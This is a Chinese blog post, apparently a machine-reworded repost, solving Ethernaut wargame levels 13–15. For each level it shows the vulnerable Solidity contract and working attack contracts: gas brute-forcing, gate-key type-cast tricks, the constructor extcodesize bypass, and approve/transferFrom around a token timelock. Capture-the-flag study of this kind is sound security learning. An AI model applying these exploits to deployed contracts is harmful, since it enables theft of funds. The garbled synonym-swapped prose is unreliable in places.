Ethernaut题解2022版(上)链接
13. Gatekeeper One
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
合约企图很明显,就是让我们经过gateOne
、gateTwo
、gateThree
三个函数修饰器的检查,执行enter函数即可。分别剖析一下经过的条件。
13.1 gateOne
对gateOne来说,msg.sender是直接调用合约的地址,而tx.origin则是这笔买卖的原始调用者,举个例子,假如有合约A、B、C、D,一次合约调用是D->B->A->C,那么关于C来说,msg.sender是A,tx.origin是D。因而只需求在外部设置一个中间合约,再依次对enter
函数发起调用即可满足msg.sender != tx.origin
13.2 gateTwo
查询官方文档可知,gasleft
函数返回的是买卖剩余的gas量,这个检查的条件是让gasleft为8191的整数倍。我们只需求设置gas为8191*n+x即可,其中x是我们本次买卖需求耗费的gas,这个值能够经过debug得到,然后经过call
方式远程调用函数能够指定需求耗费的gas,只需指定gas为对应的x即可。
这个bypass属实坐牢,由于要经过debug方式取得标题对应耗费的gas的话,必需跟标题运用相同的编译器版本和对应的优化选项,但是并不晓得标题版本。
还有另一种思绪,就是爆破x,由于gas耗费总归是有个范围的,我们只需求在这个范围内爆破即可,见下面的攻击代码。
13.3 gateThree
这个主要调查了solidity的类型转换规则,参考链接
这里以_gateKey
是0x12345678deadbeef
为例阐明
uint32(uint64(_gateKey))
转换后会取低位,所以变成0xdeadbeef
,uint16(uint64(_gateKey))
同理睬变成0xbeef
,uint16和uint32在比拟的时分,较小的类型uint16会在左边填充0,也就是会变成0x0000beef和0xdeadbeef做比拟,因而想经过第一个require只需求找一个形为0x????????0000????
这种方式的值即可,其中?是任取值。- 第二步请求双方不相等,只需高4个字节中任有一个bit不为0即可
- 经过前面可知,
uint32(uint64(_gateKey))
应该是相似0x0000beef
这种方式,所以只需求让最低的2个byte和tx.origin地址最低的2个byte相同即可,也就是,key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址
13.4 exploit
于是写出最终攻击代码如下,其中gas爆破局部参考这个:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperOne {
function entrant() external returns (address);
function enter(bytes8 _gateKey) external returns (bool);
}
contract attack {
GatekeeperOne gatekeeperOne;
address target;
address entrant;
event log(bool);
event logaddr(address);
constructor(address _addr) public {
// 设置为标题地址
target = _addr;
}
function exploit() public {
// 后四位是metamask上账户地址的低2个字节
bytes8 key=0xAAAAAAAA00004261;
bool result;
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(
target
).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
emit log(uint32(uint64(key)) == uint16(uint64(key)));
emit log(uint32(uint64(key)) != uint64(key));
emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
emit log(result);
}
function getentrant() public {
gatekeeperOne = GatekeeperOne(target);
entrant = gatekeeperOne.entrant();
emit logaddr(entrant);
}
}
执行exploit后执行getentrant
函数查看进入者地址,能够经过日志看到曾经改动为我们的地址,提交即可
这个题算是第一个真正有点意义的。
14. Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
gateOne
同上,部署一个合约即可绕过gateTwo
触及到以太坊的汇编,其中caller()
函数返回call sender
,也就是call的发起者,而extcodesize
则是返回对应地址的合约代码的大小(size),假如extcodesize
的参数是用户地址则会返回0,是合约地址则返回了调用合约的代码大小。关于这点,需求运用一个特性绕过:当合约正在执行结构函数constructor
并部署时,其extcodesize为0
。换句话说,假如我们在constructor
中调用这个函数的话,那么extcodesize(caller())
返回0,因而能够绕过检查。gateThree
,一个简单的异或,我们只需求改msg.sender
为address(this)
即可计算得到满足条件的key
攻击代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
address public target;
bytes8 key;
constructor(address _addr) public {
target=_addr;
key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0)-1));
(bool result,)=target.call(abi.encodeWithSignature("enter(bytes8)",key));
}
}
15. Naught Coin
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
这个题留意一点,如今import里面那个合约会提示版本不对,由于如今ERC20.sol曾经更新到v0.8.0了,经过查历史发现
v3.2.0
版本还支持0.6.0编译器,因而能够修正一下导入的ERC20合约的地址
依据结构代码能够看到,标题一开端将该代币中一切的token都转移给了我们的账户,通关的请求就是我们把手里的代币全部转给另外一个。但标题对erc20的转账函数transfer
做了限制,player
只要10年后才干转账,因而需求绕过。
这里很简单,由于localTokens
只限制了transfer
函数的msg.sender不能为player,但在限制erc20规范中还有另一个转账函数transferFrom
,其函数原型如下:
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
但留意一点是,在转账前需求先运用approve函数受权,然后再调用此函数转账即可。代码很简单,在标题控制台执行
//secondaddr是另外一个账户地址 secondaddr='0xCB3D2F536f533869f726F0A3eA2907CAA67DDca1' totalvalue='1000000000000000000000000' //给本人受权 await contract.approve(player,totalvalue) await contract.transferFrom(player,secondaddr,totalvalue)
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者